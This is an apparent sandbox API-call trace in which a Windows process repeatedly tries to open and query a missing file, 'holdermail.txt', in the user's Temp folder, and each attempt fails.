	[0089.049] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.049] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.049] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.050] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.050] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.050] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.050] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.050] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.050] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.050] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.050] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.050] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.051] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.051] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.051] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.051] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.051] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.052] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.052] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.052] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.052] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.052] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.052] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.053] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.053] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.053] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.053] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.053] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.053] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.053] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.053] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.054] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.054] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.054] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.054] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.054] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.054] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.054] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.054] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.054] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.055] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.055] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.055] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.055] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.055] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.055] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.055] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.055] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.055] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.056] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.056] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.056] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.056] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.056] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.056] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.057] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.057] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.057] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.057] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.057] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.057] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.058] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.058] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.058] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.058] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.058] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.058] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.058] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.058] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.059] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.059] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.059] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.059] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.059] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.059] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.059] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.059] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.059] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.060] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.060] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.060] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.060] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.060] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.060] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.060] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.060] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.060] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.061] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.061] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.061] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.061] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.061] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.062] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.062] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.062] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.062] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.062] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
	[0089.062] GetCurrentActCtx (in: lphActCtx=0x6bcee04 | out: lphActCtx=0x6bcee04*=0x6dbd24) returned 1
	[0089.063] CoRegisterMessageFilter (in: lpMessageFilter=0x0, lplpMessageFilter=0x6bcedb4 | out: lplpMessageFilter=0x6bcedb4*=0x0) returned 0x0
	[0089.063] PeekMessageW (in: lpMsg=0x6bced88, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x6bced88) returned 0
	[0089.063] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce92c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced8c) returned 1
	[0089.063] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), fInfoLevelId=0x0, lpFileInformation=0x6bcee08 | out: lpFileInformation=0x6bcee08*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0
	[0089.063] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bced88) returned 1
	[0089.063] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", nBufferLength=0x105, lpBuffer=0x6bce858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt", lpFilePart=0x0) returned 0x33
	[0089.063] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x6bced4c) returned 1
	[0089.063] CreateFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Temp\\holdermail.txt" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\holdermail.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff
	[0089.064] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x6bcdb88) returned 1
